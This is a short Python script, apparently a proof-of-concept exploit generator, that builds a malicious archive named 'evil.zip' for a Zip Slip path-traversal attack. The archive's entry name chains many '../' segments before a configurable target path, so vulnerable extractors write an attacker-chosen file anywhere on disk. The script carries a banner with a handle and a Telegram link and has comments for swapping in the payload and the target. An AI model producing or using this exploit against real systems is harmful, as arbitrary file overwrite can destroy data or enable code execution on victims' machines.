import zipfile
import os
import sys
import threading
def print_banner():
banner = """
@0xLogs
https://t.me/+qeejqIiGum9jOTI9
"""
print(banner)
def create_zip(file_path, zip_name, path_to_overwrite_file):
if not os.path.isfile(file_path):
print(f"Error: File '{file_path}' does not exist.")
sys.exit()
with zipfile.ZipFile(zip_name, 'w', zipfile.ZIP_DEFLATED) as zipf:
zipf.write(file_path, arcname=f'hack/../../../../../../../../../../../../../../{path_to_overwrite_file}')
print(f"File '{file_path}' has been zipped as '{zip_name}'.")
def main():
print_banner()
file_path = './poc' # Change to the file which contains the data to write
zip_name = 'evil.zip'
path_to_overwrite_file = 'home/mcsam/pocc' # Change to target file to write/overwrite
thread = threading.Thread(target=create_zip, args=(file_path, zip_name, path_to_overwrite_file))
thread.start()
thread.join()
if __name__ == "__main__":
main()